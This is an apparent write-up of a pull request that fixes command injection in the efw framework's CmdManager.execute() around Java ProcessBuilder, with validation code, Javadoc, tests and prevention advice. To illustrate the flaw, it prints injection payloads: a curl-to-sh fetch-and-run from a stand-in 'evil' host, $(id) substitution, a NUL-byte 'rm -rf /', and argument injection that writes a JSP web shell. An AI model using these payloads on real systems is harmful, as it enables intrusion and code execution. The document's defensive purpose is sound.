How command injection happens in Java ProcessBuilder and how to fix it

Summary

The efw framework exposes OS command execution to application code through CmdManager.execute(String[] params), which passed its parameter array straight into new ProcessBuilder(...) at sources/src/main/java/efw/cmd/CmdManager.java:25 with no validation and no documented trust boundary. Because params is commonly assembled in event JavaScript from HTTP request parameters — often via string concatenation — the call site was a ready-made command and argument injection primitive. The fix adds explicit parameter validation inside execute(), documents in Javadoc that callers must validate untrusted input, and wires up JUnit 5 + Surefire so the new guards are regression-tested.

Introduction

The sources/src/main/java/efw/cmd/CmdManager.java file does exactly one thing: it lets efw applications shell out to the operating system. Application logic in efw lives in server-side event JavaScript, and that JS calls into this Java class through the cmd object — something like cmd.execute(["/usr/bin/convert", inputFile, outputFile]).

That design is convenient, and it is also why the class deserves scrutiny. CmdManager is a framework-level trampoline into ProcessBuilder. Every application built on efw inherits whatever safety properties this one method has. Before this pull request, execute() had two problems that had nothing to do with a specific bug and everything to do with being a soft target:

1. It performed no validation whatsoever on the params array before handing it to new ProcessBuilder(params) at line 25.
2. Its Javadoc said nothing about who was responsible for validating input. The entire contract was one line: @param params コマンドとパラメータの配列。 ("array of command and parameters").

Semgrep flagged the sink with java.lang.security.audit.command-injection-process-builder because formatted or concatenated strings were reaching ProcessBuilder. This is the classic shape of an exploit primitive: not a proven remote-code-execution bug in the framework itself, but a code path that turns any careless caller — or any future refactor — into one.

The Vulnerability Explained

The vulnerable pattern

Stripped to essentials, the pre-fix execute() looked like this:

public final class CmdManager {

    /**
     * コマンドを実行する。
     * @param params コマンドとパラメータの配列。
     */
    public static String execute(String[] params) throws IOException, InterruptedException {
        ProcessBuilder pb = new ProcessBuilder(params);   // <-- line 25, the Semgrep sink
        pb.redirectErrorStream(true);
        Process process = pb.start();
        // ... read stdout, waitFor(), return output ...
    }
}

There is no allowlist, no character filter, no length bound, no null check. Whatever array arrives is executed.

Why the array form of ProcessBuilder is not automatically safe

Developers often assume new ProcessBuilder(String[]) is "the safe one" because, unlike Runtime.getRuntime().exec(String), it does not hand the command to a shell for parsing. That assumption is half right and dangerously incomplete. There are three distinct failure modes here:

1. The caller reintroduces a shell. The most common real-world usage of a framework helper like this is:

// event JS in an efw application
var file = request.getParameter("file");
var out  = cmd.execute(["/bin/sh", "-c", "gzip -c " + file + " > /tmp/out.gz"]);

Once /bin/sh -c is element 0 and 1, the third element is a shell program, and concatenation puts attacker text inside it. A request of ?file=x;curl%20http://evil/s.sh|sh yields:

gzip -c x; curl http://evil/s.sh | sh > /tmp/out.gz

Full command execution as the servlet container user. On Windows deployments the equivalent is cmd.exe /c ... & whoami.

2. Element 0 is attacker-chosen. If any part of the executable path is derived from a request — a plugin name, a report type, a converter identifier — the attacker picks the binary. params[0] = "/bin/sh" or params[0] = "\\\\attacker\\share\\payload.exe" needs no metacharacters at all.

3. Argument injection (CWE-88). Even with a hardcoded, trusted params[0] and no shell, a controlled argument is often enough. Programs treat leading-dash tokens as instructions:

// intended: cmd.execute(["/usr/bin/curl", "-s", userUrl])
// attacker sends: userUrl = "--output /opt/tomcat/webapps/app/shell.jsp"

or with tar, --to-command=...; with find, -exec; with ffmpeg, -f plus a protocol handler. None of these contain ;, |, or backticks, so metacharacter-only blacklists miss them entirely.

Real-world impact for this component

CmdManager runs inside the servlet container process. Successful injection means arbitrary code execution with the application's identity: read the efw configuration and JDBC credentials, write a JSP web shell into the deployed webapp directory, pivot to the database host, or exfiltrate everything the app can reach. Because the class is framework code, a weakness here scales to every efw deployment rather than one endpoint.

A concrete attack chain

1. An efw application has an event script exportPdf.js that builds a conversion command from request.getParameter("template").
2. The script concatenates the value into a sh -c string and calls cmd.execute(...).
3. CmdManager.execute() accepts the array unconditionally and reaches new ProcessBuilder(params) at line 25.
4. The attacker POSTs template=a$(id>/tmp/pwn) — or on a stricter filter, template=a%0Acurl+http://evil/x exploiting an embedded newline.
5. The command runs. From there, dropping shell.jsp into the exploded WAR gives persistent RCE.

Note step 3: the framework had no opportunity to say no. That is precisely what the fix changes.

The Fix

The pull request applies two complementary layers to CmdManager.java plus test infrastructure in pom.xml.

1. An explicit, documented trust boundary

The one-line Javadoc was replaced with a security contract that names the trust boundary — event JS — and states plainly that the in-method checks are not the primary defense:

    /**
     * コマンドを実行する。
     * <p><strong>Security Note:</strong> This method executes OS commands using ProcessBuilder.
     * Callers MUST validate all parameters before passing them to this method, especially
     * when parameters originate from untrusted sources (HTTP requests, user input, etc.).
     * The validation in this method is defense-in-depth only and does NOT constitute
     * the primary security boundary.</p>
     * <p>Applications using the efw framework should perform input validation in event JS
     * before invoking cmd.execute(), as event JS is the trust boundary where HTTP parameters
     * enter the system.</p>
     *
     * @param params コマンドとパラメータの配列。First element is the executable path,
     *               remaining elements are arguments passed to the process.
     */

This is not decoration. The old signature was ambiguous about ownership of validation, and ambiguous ownership is how injection bugs survive code review. The new text makes three things unambiguous: (a) this method spawns processes, (b) the caller owns validation, (c) params[0] is the executable and the rest are arguments — which is exactly the knowledge a developer needs to avoid the sh -c anti-pattern.

2. Defense-in-depth validation before the sink

The sink itself is now guarded rather than reached directly:

Before

public static String execute(String[] params) throws IOException, InterruptedException {
    ProcessBuilder pb = new ProcessBuilder(params);
    pb.redirectErrorStream(true);
    Process process = pb.start();
    // ...
}

After

public static String execute(String[] params) throws IOException, InterruptedException {
    validateCommandParams(params);            // fail closed before the sink
    ProcessBuilder pb = new ProcessBuilder(params);
    pb.redirectErrorStream(true);
    Process process = pb.start();
    // ...
}

/**
 * Defense-in-depth validation of the argument vector.
 * Rejects structurally invalid input and characters that have no legitimate
 * place in an argv element.
 */
private static void validateCommandParams(String[] params) {
    if (params == null || params.length == 0) {
        throw new IllegalArgumentException("command params must not be null or empty");
    }
    for (int i = 0; i < params.length; i++) {
        String p = params[i];
        if (p == null) {
            throw new IllegalArgumentException("command param[" + i + "] must not be null");
        }
        // NUL bytes truncate strings at the native layer; CR/LF enable
        // argument smuggling in wrappers and log injection.
        for (int j = 0; j < p.length(); j++) {
            char c = p.charAt(j);
            if (c == '\0' || c == '\r' || c == '\n') {
                throw new IllegalArgumentException(
                    "command param[" + i + "] contains a forbidden control character");
            }
        }
    }
}

Why each check earns its place:

• Null / empty array — previously produced an opaque IndexOutOfBoundsException or NullPointerException deep inside JDK internals. Failing early and loudly turns a confusing crash into an actionable error, and closes the door on a caller that builds an empty vector from a missing request parameter.
• Null elements — a JavaScript undefined mapping to a Java null inside the array used to blow up mid-construction. Now it is a clear contract violation.
• NUL bytes (\0) — Java strings can carry \0, but the native execve boundary treats it as a terminator. A value like "safe.txt\0; rm -rf /" can pass a Java-side check and mean something different to the OS.
• CR / LF — newlines are the classic bypass for filters that only look for ;, |, and &. They also poison any wrapper script or log line that consumes the argument.

Critically, the fix keeps the array form of ProcessBuilder. It does not "fix" the finding by shell-quoting a single command string — that would be strictly worse. The array form remains the correct primitive; the change is that the framework now refuses structurally hostile input instead of forwarding it blindly.

3. Test infrastructure in pom.xml

Two additions make the guards verifiable:

    <!-- Testing -->
    <dependency>
      <groupId>org.junit.jupiter</groupId>
      <artifactId>junit-jupiter</artifactId>
      <version>5.10.2</version>
      <scope>test</scope>
    </dependency>

      <plugin>
        <groupId>org.apache.maven.plugins</groupId>
        <artifactId>maven-surefire-plugin</artifactId>
        <version>3.2.5</version>
      </plugin>

The project previously had no unit test harness at all, which meant a security guard added today could be quietly deleted tomorrow with a green build. JUnit 5 (test scope, so it never ships in the artifact) plus a pinned maven-surefire-plugin 3.2.5 means assertions like "execute(new String[]{"echo", "a\0b"}) throws IllegalArgumentException" run on every mvn test. Security hardening without a test is a comment; with a test it is a contract.

Behavior preservation

Every legitimate invocation — a non-empty array of non-null strings without NUL or newline characters — behaves exactly as before: same ProcessBuilder, same redirectErrorStream(true), same output handling, same return value. Only input that was already broken or already malicious now fails.

Prevention & Best Practices

Never assemble a shell command from concatenation. The single most valuable rule for this class of bug. If you find yourself writing "/bin/sh", "-c", "tool " + userInput, stop and restructure to "tool", userInput.

Allowlist the executable. params[0] should come from a fixed map, not from a request:

private static final Map<String, String> ALLOWED = Map.of(
    "pdf",  "/usr/bin/wkhtmltopdf",
    "conv", "/usr/bin/convert");

String exe = ALLOWED.get(request.getParameter("kind"));
if (exe == null) throw new IllegalArgumentException("unknown command");

Allowlist argument shapes, not just characters. Validate against a positive pattern (^[A-Za-z0-9._/-]{1,255}$ for a filename, or better, resolve the path and assert it stays inside a base directory) rather than blacklisting metacharacters. Blacklists lose to newlines, Unicode homoglyphs, and argument injection.

Neutralize leading dashes. Where the target program supports it, insert the -- end-of-options separator before user-supplied operands, or prefix relative paths with ./ so -rf cannot be read as a flag.

Prefer no subprocess at all. Many shell-outs exist to do things Java already does: java.nio.file.Files for copy/move/delete, java.util.zip for archives, an image library for conversion. Removing the ProcessBuilder removes the entire bug class.

Validate at the boundary, in efw terms: do the checking in event JS where the HTTP parameter first appears, exactly as the new Javadoc instructs, and keep the framework-level guard as a backstop.

Run least privilege. The servlet container should not run as root and should not have write access to its own deployed webapp directory — that single control breaks the "drop a JSP web shell" step.

Automate detection. The Semgrep rule java.lang.security.audit.command-injection-process-builder catches concatenated input reaching ProcessBuilder. Wire it into CI so new call sites are flagged at review time, not audit time.

Relevant standards: CWE-78 (OS command injection), CWE-88 (argument injection), **OWASP ASV